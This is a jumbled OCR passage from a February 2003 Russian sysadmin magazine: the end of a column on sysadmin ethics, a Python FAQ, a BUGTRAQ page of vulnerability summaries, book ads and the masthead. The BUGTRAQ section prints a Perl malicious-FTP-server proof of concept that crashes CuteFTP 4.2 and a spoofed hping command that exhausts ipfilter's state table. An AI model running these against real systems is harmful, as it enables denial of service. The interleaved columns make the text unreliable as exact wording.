пании»). Вот и поехали, я буду поти- пользователями, что он о них дума- лос, хотя в этот момент просто откры-
хоньку это раскручивать. ет? Случай из практики. вал описание очередной утилиты для
Скажем честно: было у вас когда- Технически подкованный моло- автоматического пинга нескольких
нибудь желание «зарезать» особо дой человек, с высшим образовани- серверов одновременно. Естествен-
противному пользователю квоту или ем, назовем его Алексеем, в разго- но никуда он сразу не побежал...
доступ в Интернет, не потому что он воре с начальником отдела, отзыва- А представляете, как будет себя
нарушил какие-то правила фирмы, а ясь о своих пользователя говорит: вести такой человек, когда ему что-
потому что насолил вам лично? Пси- «...да нет, я им всё быстро сделал. то нужно сделать на компьютере, на
хологи, когда ставят такой вопрос в Всего-то и надо было – форматнуть котором у же работает какой-то
тест, обычно подразумевают шкалу дискету», и вывод, заметьте – «ла- пользователь – молча подходит,
невалидности – т.е. честный ответ мерьё». Уж извините меня за жар- двигает человека, что-то делает и
должен быть утвердительным, «да, гон. Человек Алексей достаточно удовлетворенный уходит – всё мол-
хотелось, но ?». А что но? Чем я не нормальный, в повседневном обще- ча! Ага, вот вам и второй пункт:
царь и не бог. «Рраз – и готово». К нии достаточно приятный, ну а вот Хороший системный администра-
сожалению, не раз слышал от такое пренебрежительное отноше- тор должен быть челове-
пользователей предположения о том, ние к людям, которые о компьюте- ком коммуникабельным и
что так и происходит. «Вот, у меня с рах знают меньше его – проскаки- желательно дружелюбным. Пусть
N-ского сайта еле качается, это ты вало не один раз. Как вы думаете – я прихожу на работу, а у меня дома
мне урезал, я знаю!». Отвечаю вам, такой человек, при хорошем, я имею болеет ребенок, пусть на улице сля-
читатели; нет, никогда за уже без в виду, при действительно хорошем коть и мерзость, но вспоминаю –
малого 5 лет на этом рабочем месте руководителе – далеко по служеб- семьдесят пользователей, и боль-
я такого не делал и не собираюсь. Я ной лестнице пойдет? Вряд ли. А шая часть из них надеется именно
бы хотел, чтобы все мы – системные таких людей – даже не сотни, и не на меня, я просто не имею никакого

№2(3), февраль 2003 91


IMHO
права не оправдать их надежды, я сверхъестественного нет. Точно так найден – другой системный админис-
не имею права хамить им! Так, сде- же отличается булочник от ювелира тратор пошел в экономический отдел
лаем Косте модернизацию... Кстати, или пилот от акушера-гинеколога. И и объяснил «на пальцах» что нужно
как вы называете upgrade – апгрейд, про это тоже не следует забывать. сделать и зачем. После чего текст
я, например, – улучшение или мо- Вспомните время обучения в инсти- объявления изменили. Сетевую кар-
дернизация, хотя признаюсь, такой туте или в школе – если знаешь от- ту поставили, отчет был сделан вов-
вариант англоязычного термина вет, так хочется всё пропустить, не ремя, и все остались довольны!
меня не до конца устраивает. Под- писать промежуточные вычисления Вот так наш Костя теперь моти-
нимаю своего человечка еще выше, – «я же могу их сделать в уме», – а вирует свои действия в разговорах
на следующую ступеньку. сразу написать конечный ответ. Но с пользователями и таким образом
Уже почувствовали, что будет так нельзя, по крайней мере, в ра- поднимается еще выше, и теперь это
дальше? Правильно – коммутаторы, боте с пользователями. Вы знаете «человек, приятный во всех отноше-
концентраторы, оперативная память больше среднестатического пользо- ниях». Ну почти. Есть еще одна
и жесткие диски, а не – свитч НетГи- вателя, и если делаете что-то, улуч- вещь: как и врач, системный адми-
ар ФС-116, хаб, рамка и винт. Опять шающее его работу, то постарай- нистратор должен четко соблюдать
же, не надо фанатизма, я не призы- тесь это донести до него. Опустите принцип «тайны административной
ваю вас выкинуть из употребления детали – скажите суть. А то иногда практики» – вот это сказано неудачно,
все заимствованные слова, призна- ваше неочевидное улучшение вос- но требовалось для сходства с ориги-
юсь честно, – винчестер я вставил примется «в штыки», и какое-же это налом. Суть же, я думаю, понятна –
специально, так как это слово счи- тогда улучшение? Естественно, бы- хороший администратор никогда не
таю достаточно спорным. Если вы по- вает, я делаю какие-то настолько разглашает «личную» информацию
мните, и англичане также называют неочевидные манипуляции, что без пользователя: его настрой-
жесткие диски иногда винчестерами, вступительной лекции не обойтись, ки, пароли, какие-то особен-
но никак не пристало нам, носителям а иногда политика безопасности ности бюджета, если конечно не
самого могучего и богатого языка в просто не позволяет долго распрос- случилось аварии (происшествия)
мире говорить – «хардник накрыл- траняться на определенную тему, которые требуют обратных дей-
ся». Причем я стараюсь избегать что ж, – молчим. Итак, я для себя ствий. Вот – снял перчатки, помыл
жаргонных слов везде, где это воз- сказал: «Хороший администратор руки, и – молчок. А это тоже нелегко,
можно, в особенности это поможет должен объяснять или чётко моти- так язык иногда и чешется. Ну всё, те-
вам и вашей бухгалтерии при очеред- вировать пользователям перь личность, стоящая на вершине
ной модернизации сервера – куда свои действия в тех случа- пирамиды, – наш Константин – про-
как проще продиктовать по телефо- ях, когда это возможно». Опять-же сто подарок для фирмы: умный, зна-
ну (и записать в доверенность), что привожу пример: ющий, коммуникабельный, надеж-
нужно оплатить четыре жестких дис- В одной достаточно немаленькой ный – всего не перечислишь. Вот та-
ка и сетевую двухпортовую карту, фирме на центральном сервере по- кого работника можно считать насто-
чем – четыре харда и одну двухголо- надобилось поставить более мощ- ящим системным администратором.
вую сетевуху... ную сетевую карту, так как имеюще- Может быть, кто-то примет это всё
Вот вам и следующая сентенция: еся 100-мегабитное соединение с за одну большую шутку, ну что ж – это
мы – русские (украинцы, белорусы) – сервером стало узким местом при ваше право, собственных мыслей у
славяне, в общем, поэтому в по- доступе к нему. Соответственно, ру- нас никто не может отобрать. Я ста-
вседневной работе с пользовате- ководитель отдела информатизации раюсь следовать тому, что здесь
лями хорошему администратору попросил администратора оповес- высказал. Кроме того, всегда от-
следует избегать использо- тить людей. Что тот и сделал – вы- крыт для дискуссии и новых мыслей.
вания сленговых выраже- весил такое объявление: Если что – пишите.
ний и фонетических калек из ино- Осталось только одно – чтобы
странных языков. И для себя луч- Îáúÿâëåíèå! моего идеального системного адми-
Çàâòðà ñ 8-00 äî 9-00 óòðà ñåðâåð
ше при постоянном общении с эти- ðàáîòàòü íå áóäåò. нистратор ценили, не боготворили,
ми железяками (компьютерами, кон- Ñèñòåìíûé àäìèíèñòðàòîð. нет, – просто ценили. Любому нор-
центраторами и маршрутизаторами мальному человеку этого вполне до-
– список длинный) лучше иногда Соответственно, экономический статочно, системному администра-
всплыть на поверхность и немного отдел, который как раз в это время тору – тоже... especially as it is often
поразмышлять как обычный чело- заканчивал полугодовой отчет (кста- this person who really keeps the
век, нормальным языком. Стал наш ти, установка мощной двухпортовой wheels of your company turning.
Костя говорить по-русски и перешел серверной сетевой карты значитель-
1
еще на одну ступеньку вверх. но ускоряла им работу) начал возму- Отмечается в последнюю пятни-
Вот и всплыло в предпоследней щаться: «Как так, мол, нам работать цу июля, но корней праздника, к сво-
фразе – как бы это не было баналь- надо», и естественно, именно завтра, ему великому стыду, я не знаю.
2
но, мы от обычных людей всё-таки именно этот промежуток времени Вот он – http://www.sysadmin-
отличаемся, конечно, в этом ничего стал решающим. Выход, правда, был day.com.

92
FAQ Python

ВОПРОС: ВОПРОС:
Можно ли на Python создавать программы с графичес- Есть ли в Python аналог следующего оператора Perl:
ким интерфейсом?
S =~ s/(text)/f($1)/ge;

ОТВЕТ: ОТВЕТ:
Да. Даже в стандартной поставке Python есть пакет В языке Python регулярные выражения записываются
Tkinter – многоплатформенные средства для графичес- так же, как и в Perl, но операции по поиску, сопоставле-
кого интерфейса на основе Tcl/Tk. Помимо этого, для нию, заменам и т. п. производятся с помощью функций
Python можно найти привязки к более чем десятку других модуля re. Следующий код Python соответствует приве-
GUI-библиотек. Наиболее продвинутым средством счита- денному выше выражению:
ется wxPython. Python для Java (Jython) может использо- import re S = re.sub(«(text)», lambda m: f(m.group(1)), S)
вать стандартные для Java библиотеки (AWT, Swing).
То есть в качестве второго аргумента функции re.sub()
может выступать функция, которой в качестве аргумента
ВОПРОС: передается объект с очередным успешно найденным
Можно ли на Python написать простенький HTTP-сервер? фрагментом строки.
Более развернутый вариант:
ОТВЕТ:
import re def subf(m): return f(m.group(1))
Да. Более того, в стандартной поставке Python есть S = re.sub(«(text)», subf, S)
несколько готовых примеров: BaseHTTPServer.py,
CGIHTTPServer.py и т. п. Составил Роман Сузи

Оформляйте
подписку
на журнал
через агентство
«Роспечать»
Подписные
индексы:
для частных лиц

81655
для организаций и
предприятий

81656

Рады видеть
Вас нашими
читателями!

№2(3), февраль 2003 93


BUGTRAQ
Переполнение буфера в CuteFTP не имеют прямого доступа. Важно обратить внимание, что
CuteFTP – популярный FTP-клиент для Windows-систем. нападающий должен быть в той же самой локальной
В программе обнаружена возможность удаленного Еthernet-сети, что и уязвимая машина, чтобы получить
переполнения буфера, которая может использоваться Ethernet-фреймы.
злонамеренным FTP-сервером для выполнения произ- Детальную информацию об обнаруженной уязвимос-
вольного кода на системе клиента. Переполнение проис- ти можно получить отсюда: www.atstake.com/research/
ходит при получении FTP-баннера большого размера (бо- advisories/2003/atstake_etherleak_report.pdf.
лее 2048 Кб). Пример FTP-сервера, который убивает кли-
ентский CuteFTP: Межсайтовый скриптинг
в Internet Explorer
#!/usr/bin/perl Обнаруженная уязвимость в IE позволяет удаленному
use IO::Socket;
$port = "21"; атакующему вставить произвольный код сценария в URL
$data = "a"; flash-объекта, который будет автоматически выполнен при
$num = "2049";
$buf .= $data x $num; загрузке злонамеренной веб-страницы, в контексте уяз-
$server = IO::Socket::INET->new(LocalPort => $port, Type вимого сайта. Уязвимость может использоваться для кра-
=> SOCK_STREAM,
Reuse => 1, Listen => 2) or die "Couldn't create ftp- жи чувствительных данных, хранящихся в куки. Пример:
server: $_\n";
while ($client = $server->accept()) {
print "Client connected.\n"; http://www.macromedia.com//shockwave/download/
print "Attacking..."; triggerpages_mmcom/
print $client "$buf";
print "OK\n";
close($client); Уязвимость обнаружена в Internet Explorer 5.0-6.0.Не-
}
#EOF достаток регистрации соединений.

Уязвимость найдена в CuteFTP v.4.2 и, возможно, в Недостаток регистрации соединений


более новых версиях. с неправильной контрольной суммой
Уязвимость обнаружена D4rkGr3y из Damage Hacking TCP/ACK-пакета
Group. Когда ipfilter получает пакет с ACK-битом без предва-
рительно установленного SYN, программа отметит такой
Определение фильтрующих устройств пакет как TCPS_ESTABLISHED в таблице состояний, и
в большинстве пакетных фильтров когда RESET-пакет будет послан обратно системным при-
Большинство пакетных фильтров от различных произ- ложением, программа изменит TTL в таблице состояний
водителей не проверяют контрольную сумму четвертого к 1 минуте.
уровня. Это позволяет атакующему выполнить активный Но если атакующий пошлет пакет с ACK-битом и пло-
анализ правил межсетевой защиты и использовать инст- хой контрольной суммой, ipfilter добавит “ESTABLISHED”-
рументы OS fingerprinting, анализируя пакеты ответа меж- сессию в таблицу состояний с тайм-аутом, равным 120
сетевой защиты. Эта проблема присутствует, даже если часов вместо 1 минуты.
используется прозрачный мост. Пример: посылая TCP Используя эту методику, атакующий может легко унич-
SYN, вы получите RST-ACK. тожить сетевое подключение любой системы с установ-
ленным ipfilter за несколько минут! Пример:
Утечка информации во многих
драйверах сетевых Ethernet-устройств [yiming@security.zz.ha.cn]#hping -s
ip.of.spoofedandtrusted.box -A
Драйвера устройств Network Interface Card (NIC) для ip.of.target.box -p 22 -c 1 -b
you will immediately see a a long wait ttl of 120 hours,
различных платформ неправильно обрабатывают запол- like this
нения фреймов, позволяя атакующему просматривать security.zz.ha.cn,1235 server,22 4/0 tcp 1
40
части предварительно переданных пакетов или памяти 119:59:48
ядра. Эта уязвимость – результат неправильного выпол-
нения RFC-требований и неправильного программирова- Уязвимость обнаружена в IP Filter 3.4.29-3.4.30.
ния, комбинация которых приводит к нескольким разно-
видностям этой уязвимости утечки информации. Недостаток в проверке сертификатов в
Самое простое нападение, использующее эту уязви- Windows File Protection
мость, должно посылать ICMP echo сообщения машине с Файлы, подписанные с использованием code-signing-
уязвимым Ethernet-драйвером. В этом случае атакующе- сертификатов, выпущенных любым доверяемым корне-
му будут возвращены части памяти ядра вместе с отве- вым сертификатом, будут доверены WFP (Windows File
том. В результате испытаний обнаружено, что возвращен- Protection). Эти файлы могут быть системными файлами
ные части – обычно отрывки сетевого трафика, которым операционной системы и драйверами устройства. Т.е.
обменивается уязвимая машина. Это нападение позво- любой атакующий, способный подписываться любым до-
ляет атакующему просматривать части сетевого трафи- веренным корневым сертификатом, может создать под-
ка, которым обменивается в сетевом сегменте маршру- писанный код, которому будет доверять система.
тизатор или межсетевая защита, и к которому атакующие Уязвимость обнаружена в Microsoft Windows 2000/XP.

94
Во втором, улучшенном и В книге обсуждаются
обновленном издании кни- вопросы профессиональ-
ги, посвященной новой тех- ной разработки приложе-
нологии информационной ний в Borland Delphi 7 и
безопасности – обнаруже- особое внимание уделя-
нию атак, систематизируют- ется практике програм-
ся разрозненные данные о мирования.
приемах совершения атак, Представлено де-
исследуются различные тальное описание объек-
критерии атак и признаки тной концепции, стан-
их обнаружения, источники дартных и программных
информации об атаках и технологий, используе-
методы их анализа. Приве- мых при работе програм-
дена подробная классифи- мистов.
кация систем обнаружения Значительная часть
атак с примерами конкрет- материала посвящена
ных отечественных и зарубежных решений. Рассматривают- разработке приложений, базирующихся на широко ис-
ся критерии выбора систем обнаружения атак для различных пользуемых и перспективных технологиях доступа к
групп потребителей, имеющих разные приоритеты при пост- данным: ADO, dbExpress, InterBase Express.
роении инфраструктуры обнаружения атак. Большое внима- Распределенным многозвенным приложениям и тех-
ние уделено практике эксплуатации систем обнаружения атак, нологии DataSnap также отведено достойное место. Все
включая вопросы их установки и размещения. Впервые све- рассматриваемые в этой книге темы сопровождаются
дены воедино и описаны недостатки существующих средств подробными примерами, которые помогут быстро ос-
обнаружения атак и способы их преодоления. воить данный этот язык программирования.
ISBN 5-94157-246-8, 608 стр ISBN 5-94157-116-Х 784 стр.

Книга посвящена опера- Книга известного экспер-


ционной системе Linux. та по сетевым технологи-
Приводятся подробные ям, автора и редактора
сведения о ее особеннос- многих публикаций К.За-
тях и возможностях, иде- кера представляет собой
ологии файловой систе- полное руководство по со-
мы, инсталляции и основ- зданию, конфигурирова-
ных командах, вопросах нию и обслуживанию ло-
компиляции ядра, на- кальных сетей. Подробно
стройках и сервисах. рассматриваются особен-
Большое внимание ности применения аппа-
уделяется организации на ратногои программного
базе Linux различных сер- обеспечения, возможнос-
веров и служб: электрон- ти различных версий сете-
ной почты, WWW, FTP, вых операционных систем
INN, Proxy, NTP, а также Windows, Novell NetWare,
проблемам администрирования сети, обеспечения безопас- UNIX и их компонентов, проводится детальный разбор
ной работы и пр. Описаны способы настройки под Linux практически всех используемых ныне технологий и ком-
рабочих станций, в т. ч. и бездисковых, установки и эксп- муникационных протоколов, таких как Ethernet и Token
луатации на них графических сред типа X Window, а также Ring, от стандартов ранних версий до современных. Кни-
конфигурирование модемных соединений, принтеров и ска- га содержит обзор популярных технических и программ-
неров, отладка взаимодействия с Linux-машинами такой ных решений для WWW, затрагивает взаимодействие ло-
“экзотической“ периферии, как карманные компьютеры, мо- кальных и глобальных сетей на всех уровнях. Также осве-
бильные телефоны, TV-тюнеры и т. п. Рассматриваемые в щаются вопросы функционирования различных сетевых
книге конфигурационные файлы и структура каталогов со- служб и сервисов (DNS, WINS, DНСР). Дается множество
ответствуют дистрибутиву Red Hat Linux 7.x, тем не менее, полезных рекомендаций, которые будут интересны как
при минимальной адаптации все упоминаемые в книге па- профессионалам, так и новичкам. Для сетевых админис-
кеты устанавливаются в любом дистрибутиве Linux. траторов и проектировщиков сетей.
ISBN 5-94157-146-1, 888 стр. ISBN 0-07-212256-0, 5-94157-042-2, 1008 стр.

2
СИСТЕМНЫЙ АДМИНИСТРАТОР
№ 2(3), Февраль, 2003 год
ЧИТАЙТЕ
ЧИТАЙТЕ
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
В СЛЕДУЮЩЕМ
Главный редактор
Александр Михалев
НОМЕРЕ:
НОМЕРЕ:
chief@samag.ru
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru Перехват системных Некоторые
Технический редактор вызовов в ОС Linux недокументированные
Владимир Лукин За последние годы операционная си- функции Java
Художник стема Linux прочно заняла лидирую- Изучение недокументированных фун-
Игорь Усков щее положение в качестве серверной кций в применении к языку Java мо-
igus@samag.ru платформы, опережая многие ком- жет показаться несколько странным.
мерческие разработки. Тем не менее Java – грамотный, современный, вы-
РЕКЛАМНАЯ СЛУЖБА вопросы защиты информационных соконадежный объектно-ориентиро-
тел.:(095)928-8253 (доб. 112) систем, построенных на базе этой ОС, ванный язык программирования с об-
факс:(095)928-8253 не перестают быть актуальными. ширнейшими библиотеками готовых
Константин Меделян Обеспечение безопасности системы классов.
reklama@samag.ru требует выполнения целого комплек- Неужели в среде Java существу-
са мероприятий. Предлагаем вам рас- ют задачи, которые не решаются с по-
Верстка смотреть механизм защиты, основан- мощью стандартных библиотек, и для
imposer@samag.ru ный на перехвате системных вызовов решения которых имеет смысл прибе-
maker_up@samag.ru операционной системы Linux. Данный гать к недокументированным функци-
механизм позволяет взять под конт- ям? И что вообще такое «недокумен-
103012, г. Москва, роль работу любого приложения и тем тированная функция» в рамках Java?
Ветошный переулок, дом 13/15 самым предотвратить возможные де-
тел.: (095) 928-8253 (доб. 112) структивные действия, которые оно Можно ли защитить
факс: (095) 928-8253 может выполнить. веб-страницы от анализа
Е-mail: info@samag.ru исходного кода?
Internet: www.samag.ru TACACS Можно ли как-то помешать програм-
Это протокол аутентификации кисок мисту-профессионалу, располагаю-
РУКОВОДИТЕЛЬ ПРОЕКТА на сервере. Я опишу основные прин- щему сколь угодно богатым арсена-
Петр Положевец ципы настройки сервера и клиента лом специализированных программ –
УЧРЕДИТЕЛИ (киски) TACACS+ (плюс указывает отладчиком, собственной версией
Владимир Положевец на версию протокола, которая ис- браузера с исходными текстами, вир-
Александр Михалев пользуется в настоящее время). туальной машиной и любыми други-
ИЗДАТЕЛЬ TACACS имеет очень широкое при- ми средствами – проанализировать
ЗАО «Издательский дом менение, так как может обеспечи- исходный HTML-код веб-страницы
«Учительская газета» вать работу всех кисок с единым или, по крайней мере, клиентский
сервером авторизации, который так- JavaScript?
Отпечатано типографией же позволяет настраивать привиле- Если это и возможно, то так же
ООО «Мастер Печати» гии различных пользователей в ши- трудно, как реализация схемы защи-
Тираж 5000 экз. роких пределах, например: давать ты, описанной в этой статье.
определённым пользователям дос-
Журнал зарегистрирован туп только к определённым коман- Установка FreeBSD
в Министерстве РФ по делам печати, дам, давать определённым лицам Если бы у меня спросили, какую опе-
телерадиовещания и средств мас- пользоваться определёнными сер- рационную систему я бы установил в
совых коммуникаций (свидетельство висами только с заданных адресов, качестве сервера из Windows, Linux и
ПИ № 77-12542 от 24 апреля 2002г.) организовывать группы пользовате- различных вариантов BSD, я бы не
лей, вести лог-файл доступа пользо- задумываясь ответил: FreeBSD. Поче-
За содержание статьи ответственность вателей (это особенно важно для му? Стабильность серверов под уп-
несет автор. За содержание рекламно- маршрутизаторов, так как позволя- равлением этой системы уже давно ни
го обьявления ответственность несет ет определить, кто и сколько пользо- у кого не вызывает сомнений. Чтобы
рекламодатель. Все права на опубли- вался определёнными сетевыми работать в системе, необходимо пер-
кованные материалы защищены. Ре- службами: ppp, slip и т. д.), выпол- воначально ее установить. Описани-
дакция оставляет за собой право изме- нять для пользователей определён- ем чего, собственно говоря, и займем-
нять содержание следующих номеров. ные команды ОС. ся в этой статье.

96

Вам также может понравиться